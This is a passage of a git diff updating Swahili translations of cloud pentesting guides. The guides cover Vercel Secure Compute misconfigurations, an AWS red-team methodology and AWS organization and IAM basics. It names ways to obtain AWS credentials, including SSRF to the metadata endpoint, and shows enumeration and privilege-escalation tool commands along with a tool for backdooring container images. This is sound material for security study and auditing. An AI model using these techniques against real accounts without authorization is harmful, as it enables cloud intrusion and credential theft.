inaruhusu uhusiano salama, wa faragha kati ya Vercel Functions na mazingira ya nyuma (kwa mfano, databases) kwa kuanzisha mitandao iliyotengwa yenye anwani za IP maalum. Hii inondoa haja ya kufichua huduma za nyuma hadharani, kuimarisha usalama, kufuata sheria, na faragha. #### **Potential Misconfigurations and Risks** @@ -393,30 +393,30 @@ Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu. - **Risk:** Kuongezeka kwa ucheleweshaji, matatizo ya kufuata makazi ya data, na utendaji mbovu. 2. **Overlapping CIDR Blocks** - **Misconfiguration:** Kuchagua blocks za CIDR zinazovutana na VPC zilizopo au mitandao mingine. -- **Risk:** Migogoro ya mtandao inayopelekea kuunganishwa kwa kushindwa, ufikiaji usioidhinishwa, au kuvuja kwa data kati ya mitandao. +- **Risk:** Migogoro ya mtandao inayopelekea uhusiano kushindwa, ufikiaji usioidhinishwa, au uvujaji wa data kati ya mitandao. 3. **Improper VPC Peering Configuration** - **Misconfiguration:** Kuweka vibaya VPC peering (kwa mfano, IDs za VPC zisizo sahihi, masasisho yasiyokamilika ya jedwali la njia). -- **Risk:** Ufikiaji usioidhinishwa wa miundombinu ya nyuma, kuunganishwa kwa salama kushindwa, na uwezekano wa uvunjaji wa data. +- **Risk:** Ufikiaji usioidhinishwa wa miundombinu ya nyuma, uhusiano salama kushindwa, na uwezekano wa uvunjaji wa data. 4. **Excessive Project Assignments** -- **Misconfiguration:** Kuweka miradi mingi kwenye mtandao mmoja wa Secure Compute bila kutengwa ipasavyo. -- **Risk:** Kuongezeka kwa kufichuliwa kwa IP kunaongeza uso wa shambulio, na kuweza kuruhusu miradi iliyoharibiwa kuathiri nyingine. +- **Misconfiguration:** Kutoa miradi mingi kwa mtandao mmoja wa Secure Compute bila kutengwa ipasavyo. +- **Risk:** Kufichuliwa kwa IP iliyoshirikiwa kunaongeza uso wa shambulio, na kuweza kuruhusu miradi iliyoharibiwa kuathiri mingine. 5. **Inadequate IP Address Management** - **Misconfiguration:** Kukosa kusimamia au kubadilisha anwani za IP maalum ipasavyo. -- **Risk:** IP spoofing, udhaifu wa ufuatiliaji, na uwezekano wa kuorodheshwa kama mbaya ikiwa IP zitahusishwa na shughuli za uhalifu. +- **Risk:** IP spoofing, udhaifu wa kufuatilia, na uwezekano wa kuorodheshwa kama IP ikiwa inahusishwa na shughuli za uhalifu. 6. **Including Build Containers Unnecessarily** - **Misconfiguration:** Kuongeza vyombo vya kujenga kwenye mtandao wa Secure Compute wakati ufikiaji wa nyuma hauhitajiki wakati wa kujenga. -- **Risk:** Kuongezeka kwa uso wa shambulio, ucheleweshaji wa ugawaji, na matumizi yasiyo ya lazima ya rasilimali za mtandao. +- **Risk:** Kuongeza uso wa shambulio, kuchelewesha ugawaji, na matumizi yasiyo ya lazima ya rasilimali za mtandao. 7. **Failure to Securely Handle Bypass Secrets** -- **Misconfiguration:** Kuonyesha au kushughulikia vibaya siri zinazotumika kupita ulinzi wa kutekeleza. +- **Misconfiguration:** Kufichua au kushughulikia vibaya siri zinazotumika kupita ulinzi wa kutekeleza. - **Risk:** Ufikiaji usioidhinishwa wa kutekeleza kulindwa, kuruhusu wavamizi kubadilisha au kutekeleza msimbo mbaya. 8. **Ignoring Region Failover Configurations** -- **Misconfiguration:** Kukosa kuweka maeneo ya failover yasiyo ya msingi au kuweka vibaya mipangilio ya failover. +- **Misconfiguration:** Kutokuweka maeneo ya failover yasiyo ya msingi au kuweka vibaya mipangilio ya failover. - **Risk:** Kukosekana kwa huduma wakati wa kutofaulu kwa eneo la msingi, kupelekea kupungua kwa upatikanaji na uwezekano wa kutokuelewana kwa data. 9. **Exceeding VPC Peering Connection Limits** - **Misconfiguration:** Kujaribu kuanzisha uhusiano zaidi wa VPC peering kuliko kiwango kinachoruhusiwa (kwa mfano, kupita uhusiano 50). -- **Risk:** Kukosa kuunganishwa kwa huduma muhimu za nyuma kwa usalama, kupelekea kushindwa kwa kutekeleza na usumbufu wa operesheni. +- **Risk:** Kutokuweza kuunganisha huduma muhimu za nyuma kwa usalama, kupelekea kushindwa kwa kutekeleza na usumbufu wa operesheni. 10. **Insecure Network Settings** -- **Misconfiguration:** Sheria dhaifu za moto, kukosa usimbuaji, au kutenganisha mtandao vibaya ndani ya mtandao wa Secure Compute. +- **Misconfiguration:** Sheria dhaifu za firewall, ukosefu wa usimbuaji, au kutengwa kwa mtandao kwa njia isiyo sahihi ndani ya mtandao wa Secure Compute. - **Risk:** Kukamatwa kwa data, ufikiaji usioidhinishwa wa huduma za nyuma, na kuongezeka kwa udhaifu wa mashambulizi. --- @@ -428,8 +428,8 @@ Kutoa ufikiaji wa kumbukumbu za ukaguzi kwa wanachama wasioidhinishwa wa timu. #### Security Configurations: - **Exposing Sensitive Variables** -- **Misconfiguration:** Kuongeza alama ya `NEXT_PUBLIC_` kwa vigezo nyeti, na kuifanya ipatikane upande wa mteja. -- **Risk:** Kuonyeshwa kwa funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data. +- **Misconfiguration:** Kuongeza awali kwa vigezo nyeti kwa `NEXT_PUBLIC_`, na kuifanya iweze kupatikana upande wa mteja. +- **Risk:** Kufichua funguo za API, akidi za database, au data nyingine nyeti kwa umma, kupelekea uvunjaji wa data. - **Sensitive disabled** - **Misconfiguration:** Ikiwa imezimwa (kawaida) inawezekana kusoma thamani za siri zilizozalishwa. - **Risk:** Kuongezeka kwa uwezekano wa kufichuliwa kwa bahati mbaya au ufikiaji usioidhinishwa wa taarifa nyeti. diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index 837cafd7d..1498ad786 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -4,7 +4,7 @@ ## Basic Information -**Kabla ya kuanza pentesting** mazingira ya **AWS**, kuna mambo machache **muhimu unahitaji kujua** kuhusu jinsi AWS inavyofanya kazi ili kukusaidia kuelewa unachohitaji kufanya, jinsi ya kupata makosa ya usanidi na jinsi ya kuyatumia. +**Kabla ya kuanza pentesting** katika **AWS** mazingira kuna mambo machache **muhimu unahitaji kujua** kuhusu jinsi AWS inavyofanya kazi ili kukusaidia kuelewa unachohitaji kufanya, jinsi ya kupata makosa ya usanidi na jinsi ya kuyatumia. Mifano kama vile hiyerarhya ya shirika, IAM na dhana nyingine za msingi zinaelezwa katika: @@ -29,13 +29,13 @@ Tools to simulate attacks: ## AWS Pentester/Red Team Methodology -Ili kukagua mazingira ya AWS, ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinacho **onyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za AWS na **huduma za nje** zinavyounganishwa. +Ili kukagua mazingira ya AWS ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinacho **onyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za AWS na **huduma za nje** zinavyounganishwa. -Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya AWS** ni kufanikiwa kupata **akili**. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo: +Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya AWS** ni kufanikiwa kupata **akidi** fulani. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo: -- **Mvuzi** katika github (au sawa) - OSINT +- **Mvuja** katika github (au sawa) - OSINT - **Uhandisi** wa Kijamii -- **Tena** ya nywila (mvuzi wa nywila) +- **Tena** matumizi ya nywila (mvuja za nywila) - Uhalifu katika Programu za AWS-Zilizohifadhiwa - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) yenye ufikiaji wa metadata endpoint - **Usomaji wa Faili za Mitaa** @@ -51,14 +51,14 @@ Au kwa **kuathiri huduma isiyo na uthibitisho** iliyonyeshwa: aws-unauthenticated-enum-access/ {{#endref}} -Au ikiwa unafanya **kaguzi** unaweza tu **kuomba akili** na hizi nafasi: +Au ikiwa unafanya **kaguzi** unaweza tu **kuomba akidi** na hizi nafasi: {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> Baada ya kufanikiwa kupata akili, unahitaji kujua **ni nani mwenye akili hizo**, na **nini wana ufikiaji wa**, hivyo unahitaji kufanya uainishaji wa msingi: +> Baada ya kufanikiwa kupata akidi, unahitaji kujua **ni nani mwenye akidi hizo**, na **nini wana ufikiaji wa**, hivyo unahitaji kufanya uainishaji wa msingi: ## Basic Enumeration @@ -72,7 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -Moja ya mambo ya kwanza unahitaji kujua ni wewe ni nani (katika akaunti gani ulipo na habari nyingine kuhusu mazingira ya AWS): +Moja ya mambo ya kwanza unahitaji kujua ni wewe ni nani (katika akaunti gani uko na habari nyingine kuhusu mazingira ya AWS): ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -100,7 +100,7 @@ aws-services/aws-organizations-enum.md ### IAM Enumeration -Ikiwa una ruhusa za kutosha **kuangalia haki za kila chombo ndani ya akaunti ya AWS** itakusaidia kuelewa ni nini unaweza kufanya na vitambulisho vingine na jinsi ya **kuinua haki**. +Ikiwa una ruhusa za kutosha **kuangalia haki za kila kitengo ndani ya akaunti ya AWS** itakusaidia kuelewa kile unachoweza kufanya na vitambulisho vingine na jinsi ya **kuinua haki**. Ikiwa huna ruhusa za kutosha kuhesabu IAM, unaweza **kuiba kuzitafutia** ili kujua.\ Angalia **jinsi ya kufanya hesabu na brute-forcing** katika: @@ -115,7 +115,7 @@ aws-services/aws-iam-enum.md ## Services Enumeration, Post-Exploitation & Persistence -AWS ina idadi kubwa ya huduma, katika ukurasa ufuatao utapata **taarifa za msingi, hesabu** cheatsheets\*\*,\*\* jinsi ya **kuepuka kugundulika**, kupata **kuendelea**, na hila nyingine za **post-exploitation** kuhusu baadhi yao: +AWS ina idadi kubwa ya huduma, katika ukurasa ufuatao utapata **taarifa za msingi, hesabu** cheatsheets\*\*,\*\* jinsi ya **kuepuka kugunduliwa**, kupata **kuendelea**, na hila nyingine za **post-exploitation** kuhusu baadhi yao: {{#ref}} aws-services/ @@ -178,7 +178,7 @@ AWS_PROFILE= aws_recon \ --regions global,us-east-1,us-east-2 \ --verbose ``` -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ni **chombo cha multi-cloud kwa kupata Mali** (Majina ya Kikoa, Anwani za IP) kutoka kwa Watoa Huduma za Cloud. +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist ni **chombo cha multi-cloud kwa kupata Mali** (Majina ya mwenyeji, Anwani za IP) kutoka kwa Watoa huduma wa Cloud. - [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper inakusaidia kuchambua mazingira yako ya Amazon Web Services (AWS). Sasa ina kazi nyingi zaidi, ikiwa ni pamoja na ukaguzi wa masuala ya usalama. ```bash # Installation steps in github @@ -233,7 +233,7 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika mtazamo wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbase inakusanya mali na uhusiano kutoka kwa huduma na mifumo ikiwa ni pamoja na miundombinu ya wingu, programu za SaaS, udhibiti wa usalama, na zaidi katika muonekano wa grafu unaoeleweka unaoungwa mkono na hifadhidata ya Neo4j. - [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Inatumia python2) Hii ni zana inayojaribu **kuvumbua yote** [**rasilimali za AWS**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) zilizoundwa katika akaunti. - [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): Ni zana ya **kupata anwani zote za IP za umma** (zote IPv4/IPv6) zinazohusishwa na akaunti ya AWS. @@ -255,7 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ni script na maktaba ya kutambua hatari katika usanidi wa AWS Identity and Access Management (IAM) kwa akaunti ya AWS au shirika la AWS. Inatengeneza mfano wa Watumiaji wa IAM na Majukumu katika akaunti kama grafu iliyoelekezwa, ambayo inaruhusu ukaguzi wa **kuinua mamlaka** na njia mbadala ambazo mshambuliaji anaweza kuchukua ili kupata ufikiaji wa rasilimali au hatua katika AWS. Unaweza kuangalia **permissions used to find privesc** paths katika majina ya faili yanayomalizika na `_edges.py` katika [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) ni script na maktaba ya kutambua hatari katika usanidi wa AWS Identity and Access Management (IAM) kwa akaunti ya AWS au shirika la AWS. Inatengeneza mfano wa Watumiaji na Majukumu tofauti ya IAM katika akaunti kama grafu iliyoelekezwa, ambayo inaruhusu ukaguzi wa **kuinua mamlaka** na njia mbadala ambazo mshambuliaji anaweza kuchukua ili kupata ufikiaji wa rasilimali au hatua katika AWS. Unaweza kuangalia **idhini zinazotumika kutafuta njia za privesc** katika majina ya faili yanayomalizika na `_edges.py` katika [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) ```bash # Install pip install principalmapper @@ -278,7 +278,7 @@ pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining ni chombo cha Tathmini ya Usalama wa AWS IAM ambacho kinatambua ukiukaji wa haki ndogo na kuzalisha ripoti ya HTML iliyo na kipaumbele cha hatari.\ -Itakuonyesha wateja wanaoweza kuwa **na haki nyingi**, sera za inline na aws **na ni nani **wanachama wanaoingia** kwao. (Haki hizi hazichunguzwi tu kwa privesc bali pia aina nyingine za ruhusa za kuvutia, inapendekezwa kutumika). +Itakuonyesha wateja wanaoweza kuwa **na haki nyingi**, sera za inline na aws **na ni **wakuu gani wana uf access** kwao. (Haki hizi hazichunguzwi tu kwa privesc bali pia aina nyingine za ruhusa za kuvutia, inapendekezwa kutumika). ```bash # Install pip install cloudsplaining @@ -290,20 +290,20 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack inakadiria akaunti za AWS kwa **udhaifu wa hijacking wa subdomain** kutokana na usanidi wa Route53 na CloudFront ambao haujashikamana. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Orodha ya ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack inakadiria akaunti za AWS kwa **udhaifu wa kuiba subdomain** kutokana na usanidi wa Route53 na CloudFront ambao haujashikamana. +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Orodha ya ECR repos -> Pull ECR repo -> Backdoor hiyo -> Push picha iliyokuwa na backdoor - [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag ni chombo ambacho **kinatafuta** kupitia picha za umma za Elastic Block Storage (**EBS**) kwa siri ambazo zinaweza kuwa ziachwa kwa bahati mbaya. -### Audit +### Ukaguzi -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit na Aqua ni mradi wa chanzo wazi ulioandaliwa kuruhusu kugundua **hatari za usalama katika akaunti za miundombinu ya wingu**, ikiwa ni pamoja na: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), na GitHub (Haifanyi utafutaji wa ShadowAdmins). +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit na Aqua ni mradi wa chanzo wazi ulioandaliwa kuruhusu kugundua **hatari za usalama katika akaunti za miundombinu ya wingu**, ikiwa ni pamoja na: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), na GitHub (Haichunguza ShadowAdmins). ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ni chombo cha usalama cha Open Source kufanya tathmini za mbinu bora za usalama za AWS, ukaguzi, majibu ya matukio, ufuatiliaji endelevu, kuimarisha na maandalizi ya forensics. +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler ni chombo cha usalama cha Open Source kufanya tathmini za mbinu bora za usalama za AWS, ukaguzi, majibu ya matukio, ufuatiliaji endelevu, kuimarisha na maandalizi ya uchunguzi. ```bash # Install python3, jq and git # Install @@ -330,12 +330,12 @@ scout --help scout aws -p dev ``` - [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (inatumia python2.7 na inaonekana haijatunzwa) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ni chombo chenye nguvu kwa AWS EC2 / S3 / CloudTrail / CloudWatch / KMS mbinu bora za kuimarisha (inaonekana haijatunzwa). Inakagua tu akauti zilizowekwa kwa chaguo-msingi ndani ya mfumo. +- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus ni chombo chenye nguvu kwa ajili ya AWS EC2 / S3 / CloudTrail / CloudWatch / KMS mbinu bora za kuimarisha (inaonekana haijatunzwa). Inakagua tu akreditif zilizowekwa kwa chaguo-msingi ndani ya mfumo. ### Ukaguzi wa Kudumu -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ni injini ya sheria kwa usimamizi wa akaunti na rasilimali za umma za wingu. Inawaruhusu watumiaji **kufafanua sera za kuwezesha miundombinu ya wingu inayosimamiwa vizuri**, ambayo ni salama na imeboreshwa kwa gharama. Inakusanya scripts nyingi za adhoc ambazo mashirika yana nazo kuwa chombo chepesi na chenye kubadilika, chenye vipimo na ripoti zilizounganishwa. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ni jukwaa la **ufuatiliaji wa kuendelea wa utii, ripoti za utii na automatisering ya usalama kwa wingu**. Katika PacBot, sera za usalama na utii zinawekwa kama msimbo. Rasilimali zote zinazogunduliwa na PacBot zinakaguliwa dhidi ya sera hizi ili kupima utii wa sera. Mfumo wa **auto-fix** wa PacBot unatoa uwezo wa kujibu moja kwa moja kwa ukiukaji wa sera kwa kuchukua hatua zilizowekwa awali. +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian ni injini ya sheria za kusimamia akaunti na rasilimali za umma za wingu. Inawaruhusu watumiaji **kufafanua sera za kuwezesha miundombinu ya wingu inayosimamiwa vizuri**, ambayo ni salama na imeboreshwa kwa gharama. Inakusanya mengi ya skripti za adhoc ambazo mashirika yana nazo kuwa chombo chepesi na chenye kubadilika, chenye vipimo na ripoti zilizounganishwa. +- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** ni jukwaa la **ufuatiliaji wa kuendelea wa ufuataji, ripoti za ufuataji na automatisering ya usalama kwa ajili ya wingu**. Katika PacBot, sera za usalama na ufuataji zinawekwa kama msimbo. Rasilimali zote zinazogunduliwa na PacBot zinakaguliwa dhidi ya sera hizi ili kupima ufuataji wa sera. Mfumo wa **auto-fix** wa PacBot unatoa uwezo wa kujibu kiotomatiki kwa ukiukaji wa sera kwa kuchukua hatua zilizowekwa awali. - [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert ni mfumo wa uchambuzi wa data wa **wakati halisi** usio na seva ambao unakupa uwezo wa **kuingiza, kuchambua, na kutoa tahadhari** kuhusu data kutoka mazingira yoyote, **ukitumia vyanzo vya data na mantiki ya tahadhari unayofafanua**. Timu za usalama wa kompyuta zinatumia StreamAlert kuchanganua terabytes za data za kumbukumbu kila siku kwa ajili ya kugundua na kujibu matukio. ## DEBUG: Capture AWS cli requests @@ -357,7 +357,7 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` -## Marejeleo +## Marejeo - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index f69207295..70bca3fdb 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -8,26 +8,26 @@ ### Akaunti -Katika AWS kuna **akaunti ya mzizi,** ambayo ni **konteina ya mzazi kwa akaunti zote** za **shirika** lako. Hata hivyo, huwezi kutumia akaunti hiyo kupeleka rasilimali, unaweza kuunda **akaunti nyingine ili kutenganisha miundombinu tofauti za AWS** kati yao. +Katika AWS kuna **akaunti ya mzizi,** ambayo ni **konteina mama kwa akaunti zote** za **shirika** lako. Hata hivyo, huwezi kutumia akaunti hiyo kupeleka rasilimali, unaweza kuunda **akaunti nyingine ili kutenganisha miundombinu tofauti za AWS** kati yao. -Hii ni ya kuvutia kutoka kwa mtazamo wa **usalama**, kwani **akaunti moja haitakuwa na uwezo wa kufikia rasilimali kutoka akaunti nyingine** (isipokuwa madaraja yameundwa mahsusi), hivyo unaweza kuunda mipaka kati ya matumizi. +Hii ni ya kuvutia kutoka kwa mtazamo wa **usalama**, kwani **akaunti moja haitakuwa na uwezo wa kufikia rasilimali kutoka akaunti nyingine** (isipokuwa madaraja yameundwa mahsusi), hivyo unaweza kuunda mipaka kati ya uhamasishaji. -Kwa hiyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia akaunti za AWS na si Akaunti za Mtumiaji): akaunti moja ambayo imewekwa kama akaunti ya usimamizi, na akaunti moja au zaidi za wanachama. +Kwa hivyo, kuna **aina mbili za akaunti katika shirika** (tunazungumzia kuhusu akaunti za AWS na si Akaunti za Mtumiaji): akaunti moja ambayo imewekwa kama akaunti ya usimamizi, na akaunti moja au zaidi za wanachama. -- **Akaunti ya usimamizi (akaunti ya mzizi)** ndiyo akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo: +- **Akaunti ya usimamizi (akaunti ya mzizi)** ni akaunti unayotumia kuunda shirika. Kutoka kwa akaunti ya usimamizi ya shirika, unaweza kufanya yafuatayo: - Kuunda akaunti katika shirika - Kualika akaunti nyingine zilizopo katika shirika - Kuondoa akaunti kutoka shirika -- Kudhibiti mialiko -- Kutumia sera kwa vitu (mizizi, OUs, au akaunti) ndani ya shirika -- Kuwezesha ujumuishaji na huduma za AWS zinazoungwa mkono ili kutoa kazi za huduma katika akaunti zote za shirika. +- Kusimamia mialiko +- Kutumia sera kwa entiti (mizizi, OUs, au akaunti) ndani ya shirika +- Kuwezesha uunganisho na huduma za AWS zinazoungwa mkono ili kutoa kazi za huduma katika akaunti zote za shirika. - Inawezekana kuingia kama mtumiaji wa mzizi kwa kutumia barua pepe na nenosiri vilivyotumika kuunda akaunti hii ya mzizi/shirika. -Akaunti ya usimamizi ina **majukumu ya akaunti ya kulipa** na inawajibika kwa kulipa malipo yote yanayokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika. +Akaunti ya usimamizi ina **majukumu ya akaunti ya kulipa** na inawajibika kwa kulipa ada zote zinazokusanywa na akaunti za wanachama. Huwezi kubadilisha akaunti ya usimamizi ya shirika. -- **Akaunti za wanachama** zinaunda akaunti zote nyingine katika shirika. Akaunti inaweza kuwa mwanachama wa shirika moja tu kwa wakati mmoja. Unaweza kuambatisha sera kwa akaunti ili kuweka udhibiti kwa akaunti hiyo pekee. -- Akaunti za wanachama **zinapaswa kutumia anwani halali ya barua pepe** na zinaweza kuwa na **jina**, kwa ujumla hawawezi kudhibiti bili (lakini wanaweza kupewa ufikiaji wa hiyo). +- **Akaunti za wanachama** zinaunda akaunti zote zilizobaki katika shirika. Akaunti inaweza kuwa mwanachama wa shirika moja tu kwa wakati mmoja. Unaweza kuambatisha sera kwa akaunti ili kuweka udhibiti kwa akaunti hiyo pekee. +- Akaunti za wanachama **zinapaswa kutumia anwani halali ya barua pepe** na zinaweza kuwa na **jina**, kwa ujumla hazitakuwa na uwezo wa kusimamia bili (lakini zinaweza kupewa ufikiaji wa hiyo). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` @@ -40,40 +40,40 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -A **service control policy (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa kwamba **hazitoi ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP na mzizi wa shirika lako au OU, **SCP inakandamiza ruhusa za viumbe katika akaunti za wanachama**. +**Sera ya kudhibiti huduma (SCP)** ni sera inayobainisha huduma na vitendo ambavyo watumiaji na majukumu wanaweza kutumia katika akaunti ambazo SCP inahusisha. SCPs ni **sawa na sera za ruhusa za IAM** isipokuwa kwamba **hazipati ruhusa yoyote**. Badala yake, SCPs zinaelezea **ruhusa za juu zaidi** kwa shirika, kitengo cha shirika (OU), au akaunti. Unapounganisha SCP kwa mzizi wa shirika lako au OU, **SCP inakadiria ruhusa kwa vitu katika akaunti za wanachama**. -Hii ndiyo NJIA PEKEE ambayo **hata mtumiaji wa mzizi anaweza kuzuiwa** kufanya kitu. Kwa mfano, inaweza kutumika kuzuia watumiaji wasizime CloudTrail au kufuta nakala za akiba.\ -Njia pekee ya kupita hii ni kuathiri pia **akaunti ya mkuu** inayoweka mipangilio ya SCPs (akaunti ya mkuu haiwezi kuzuiwa). +Hii ndiyo NJIA PEKEE ambayo **hata mtumiaji wa mzizi anaweza kuzuiwa** kufanya jambo fulani. Kwa mfano, inaweza kutumika kuzuia watumiaji wasizime CloudTrail au kufuta nakala za akiba.\ +Njia pekee ya kupita hii ni kuathiri pia **akaunti ya mkuu** inayoweka SCPs (akaunti ya mkuu haiwezi kuzuiwa). > [!WARNING] -> Kumbuka kwamba **SCPs zinakandamiza tu wakuu katika akaunti**, hivyo akaunti nyingine hazihusiki. Hii inamaanisha kuwa kuwa na SCP inayokataza `s3:GetObject` haitazuia watu **kupata mfuko wa S3 wa umma** katika akaunti yako. +> Kumbuka kwamba **SCPs zinazuia tu wakuu katika akaunti**, hivyo akaunti nyingine hazihusiki. Hii inamaanisha kuwa kuwa na SCP inayokataa `s3:GetObject` haitazuia watu **kupata mfuko wa S3 wa umma** katika akaunti yako. -SCP mifano: +Mifano ya SCP: -- Kataza akaunti ya mzizi kabisa +- Kata akaunti ya mzizi kabisa - Ruhusu tu maeneo maalum - Ruhusu tu huduma zilizoorodheshwa -- Kataza GuardDuty, CloudTrail, na S3 Public Block Access kutoka +- Kata GuardDuty, CloudTrail, na S3 Public Block Access kutoka kuondolewa -- Kataza majukumu ya usalama/mjibu wa tukio kuondolewa au +- Kata majukumu ya usalama/mjibu wa tukio kutoka kuondolewa au kubadilishwa. -- Kataza nakala za akiba kuondolewa. -- Kataza kuunda watumiaji wa IAM na funguo za ufikiaji +- Kata nakala za akiba kutoka kuondolewa. +- Kata kuunda watumiaji wa IAM na funguo za ufikiaji Pata **mifano ya JSON** katika [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) ### ARN -**Amazon Resource Name** ni **jina la kipekee** kila rasilimali ndani ya AWS ina, imeundwa kama ifuatavyo: +**Jina la Rasilimali la Amazon** ni **jina la kipekee** kila rasilimali ndani ya AWS ina, linaundwa kama ifuatavyo: ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` -Note that there are 4 partitions in AWS but only 3 ways to call them: +Kumbuka kwamba kuna sehemu 4 katika AWS lakini njia 3 tu za kuziita: - AWS Standard: `aws` - AWS China: `aws-cn` @@ -85,14 +85,14 @@ Note that there are 4 partitions in AWS but only 3 ways to call them: IAM ni huduma itakayokuruhusu kusimamia **Uthibitishaji**, **Idhini** na **Udhibiti wa Ufikiaji** ndani ya akaunti yako ya AWS. - **Uthibitishaji** - Mchakato wa kufafanua utambulisho na uthibitisho wa utambulisho huo. Mchakato huu unaweza kugawanywa katika: Utambulisho na uthibitisho. -- **Idhini** - Inabainisha ni nini utambulisho unaweza kufikia ndani ya mfumo mara tu unapothibitishwa. +- **Idhini** - Inabaini ni nini utambulisho unaweza kufikia ndani ya mfumo mara tu unapothibitishwa. - **Udhibiti wa Ufikiaji** - Njia na mchakato wa jinsi ufikiaji unavyotolewa kwa rasilimali salama. IAM inaweza kufafanuliwa kwa uwezo wake wa kusimamia, kudhibiti na kuongoza mitambo ya uthibitishaji, idhini na udhibiti wa ufikiaji wa utambulisho kwa rasilimali zako ndani ya akaunti yako ya AWS. ### [Mtumiaji wa mizizi ya 